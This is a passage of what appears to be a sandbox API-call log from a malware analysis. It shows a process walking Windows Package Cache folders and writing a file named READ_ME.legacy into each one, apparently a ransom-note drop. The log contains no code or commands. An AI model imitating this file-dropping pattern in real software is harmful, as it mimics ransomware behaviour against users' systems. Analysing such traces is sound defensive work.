ftCreationTime.dwLowDateTime=0xd58c47c1, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd58c47c1, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd58c47c1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0134.900] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0134.900] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0134.900] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0134.900] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0134.900] GetLastError () returned 0x0 [0134.900] SetLastError (dwErrCode=0x0) [0134.900] GetLastError () returned 0x0 [0134.900] SetLastError (dwErrCode=0x0) [0134.900] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0134.900] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0134.900] GetLastError () returned 0x0 [0134.900] SetLastError (dwErrCode=0x0) [0134.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d690 [0134.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d690 | out: hHeap=0x520000) returned 1 [0134.901] FindNextFileW (in: hFindFile=0x567218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd58c47c1, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd58c47c1, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd58c47c1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0134.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0134.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567aa8 | out: hHeap=0x520000) returned 1 [0134.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9538 | out: hHeap=0x520000) returned 1 [0134.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7d0 | out: hHeap=0x520000) returned 1 [0134.901] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd58eabdf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x566cd8 [0134.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0134.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0134.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0134.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0134.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8e30 [0134.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0134.901] GetLastError () returned 0x12 [0134.901] SetLastError (dwErrCode=0x12) [0134.901] GetLastError () returned 0x12 [0134.901] SetLastError (dwErrCode=0x12) [0134.902] GetLastError () returned 0x12 [0134.902] SetLastError (dwErrCode=0x12) [0134.902] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0134.902] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56cfd8 [0134.902] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0134.902] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0134.902] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c698 [0134.902] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c698 | out: hHeap=0x520000) returned 1 [0134.902] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200f0 [0134.902] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200f0 | out: hHeap=0x520000) returned 1 [0134.902] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0134.902] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0134.902] FindNextFileW (in: hFindFile=0x566cd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd58eabdf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0134.902] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8e30 | out: hHeap=0x520000) returned 1 [0134.902] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0134.902] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0134.902] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0134.902] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9538 [0134.902] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0134.902] GetLastError () returned 0x12 [0134.902] SetLastError (dwErrCode=0x12) [0134.902] GetLastError () returned 0x12 [0134.902] SetLastError (dwErrCode=0x12) [0134.903] GetLastError () returned 0x12 [0134.903] SetLastError (dwErrCode=0x12) [0134.903] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0134.903] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0134.903] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0134.903] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0134.903] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c118 [0134.903] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c118 | out: hHeap=0x520000) returned 1 [0134.903] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202a0 [0134.903] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202a0 | out: hHeap=0x520000) returned 1 [0134.903] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0134.903] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0134.903] FindNextFileW (in: hFindFile=0x566cd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd58eabdf, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd58eabdf, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd58eabdf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0134.903] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9538 | out: hHeap=0x520000) returned 1 [0134.903] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0134.903] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0134.903] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0134.903] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0134.903] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0134.903] GetLastError () returned 0x12 [0134.903] SetLastError (dwErrCode=0x12) [0134.903] GetLastError () returned 0x12 [0134.903] SetLastError (dwErrCode=0x12) [0134.903] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0134.904] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0134.904] GetLastError () returned 0x12 [0134.904] SetLastError (dwErrCode=0x12) [0134.904] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0134.904] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0134.904] FindNextFileW (in: hFindFile=0x566cd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0134.904] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0134.904] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0134.904] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0134.904] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0134.904] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9150 [0134.904] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0134.904] GetLastError () returned 0x12 [0134.904] SetLastError (dwErrCode=0x12) [0134.904] GetLastError () returned 0x12 [0134.904] SetLastError (dwErrCode=0x12) [0134.904] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0134.904] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9150 | out: hHeap=0x520000) returned 1 [0134.904] GetLastError () returned 0x12 [0134.904] SetLastError (dwErrCode=0x12) [0134.904] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0134.904] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0134.904] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0134.905] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0134.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x563e28 [0134.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7d0 [0134.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x5639a0 [0134.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0134.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0134.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0134.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0134.905] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0134.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9150 [0134.905] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0134.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0134.905] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9150 | out: hHeap=0x520000) returned 1 [0134.905] GetLastError () returned 0x12 [0134.905] SetLastError (dwErrCode=0x12) [0134.905] GetLastError () returned 0x12 [0134.905] SetLastError (dwErrCode=0x12) [0134.905] GetLastError () returned 0x12 [0134.905] SetLastError (dwErrCode=0x12) [0134.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4638 [0134.905] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f4 [0134.919] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4638 | out: hHeap=0x520000) returned 1 [0134.919] WriteFile (in: hFile=0x6f4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0134.920] CloseHandle (hObject=0x6f4) returned 1 [0134.920] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0134.920] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0134.920] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0134.920] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5639a0 | out: hHeap=0x520000) returned 1 [0134.920] FindNextFileW (in: hFindFile=0x566cd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0134.920] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8fc0 [0134.921] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0134.921] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8b10 | out: hHeap=0x520000) returned 1 [0134.921] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0134.921] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd59cf966, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c3d8 [0134.921] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0134.921] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0134.921] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0134.921] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0134.921] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8b10 [0134.921] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0134.921] GetLastError () returned 0x12 [0134.921] SetLastError (dwErrCode=0x12) [0134.921] GetLastError () returned 0x12 [0134.921] SetLastError (dwErrCode=0x12) [0134.921] GetLastError () returned 0x12 [0134.921] SetLastError (dwErrCode=0x12) [0134.921] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0134.921] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56cfd8 [0134.922] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0134.922] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d820 [0134.922] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c098 [0134.922] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c098 | out: hHeap=0x520000) returned 1 [0134.922] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20198 [0134.922] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20198 | out: hHeap=0x520000) returned 1 [0134.922] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d820 | out: hHeap=0x520000) returned 1 [0134.922] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0134.922] FindNextFileW (in: hFindFile=0x60c3d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd59cf966, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0134.922] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8b10 | out: hHeap=0x520000) returned 1 [0134.922] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0134.922] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0134.922] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0134.922] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0134.922] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0134.923] GetLastError () returned 0x12 [0134.923] SetLastError (dwErrCode=0x12) [0134.923] GetLastError () returned 0x12 [0134.923] SetLastError (dwErrCode=0x12) [0134.923] GetLastError () returned 0x12 [0134.923] SetLastError (dwErrCode=0x12) [0134.923] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0134.923] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d920 [0134.923] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0134.923] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0134.923] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c198 [0134.923] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c198 | out: hHeap=0x520000) returned 1 [0134.923] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201c8 [0134.923] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201c8 | out: hHeap=0x520000) returned 1 [0134.923] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0134.923] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0134.923] FindNextFileW (in: hFindFile=0x60c3d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd59cf966, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd59cf966, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd59cf966, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0134.923] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0134.923] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0134.923] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0134.923] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0134.923] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9538 [0134.923] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0134.923] GetLastError () returned 0x12 [0134.924] SetLastError (dwErrCode=0x12) [0134.924] GetLastError () returned 0x12 [0134.924] SetLastError (dwErrCode=0x12) [0134.924] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0134.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9538 | out: hHeap=0x520000) returned 1 [0134.924] GetLastError () returned 0x12 [0134.924] SetLastError (dwErrCode=0x12) [0134.924] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0134.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0134.924] FindNextFileW (in: hFindFile=0x60c3d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0134.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0134.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0134.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0134.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0134.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0134.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0134.925] GetLastError () returned 0x12 [0134.925] SetLastError (dwErrCode=0x12) [0134.925] GetLastError () returned 0x12 [0134.925] SetLastError (dwErrCode=0x12) [0134.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0134.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0134.925] GetLastError () returned 0x12 [0134.925] SetLastError (dwErrCode=0x12) [0134.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0134.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0134.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0134.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0134.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x60a990 [0134.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d690 [0134.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x60a898 [0134.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0134.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0134.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0134.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0134.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0134.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0134.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0134.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0134.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0134.926] GetLastError () returned 0x12 [0134.926] SetLastError (dwErrCode=0x12) [0134.926] GetLastError () returned 0x12 [0134.926] SetLastError (dwErrCode=0x12) [0134.926] GetLastError () returned 0x12 [0134.926] SetLastError (dwErrCode=0x12) [0134.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110) returned 0x585058 [0134.926] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8 [0134.994] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585058 | out: hHeap=0x520000) returned 1 [0134.994] WriteFile (in: hFile=0x6f8, lpBuffer=0x53c770*, 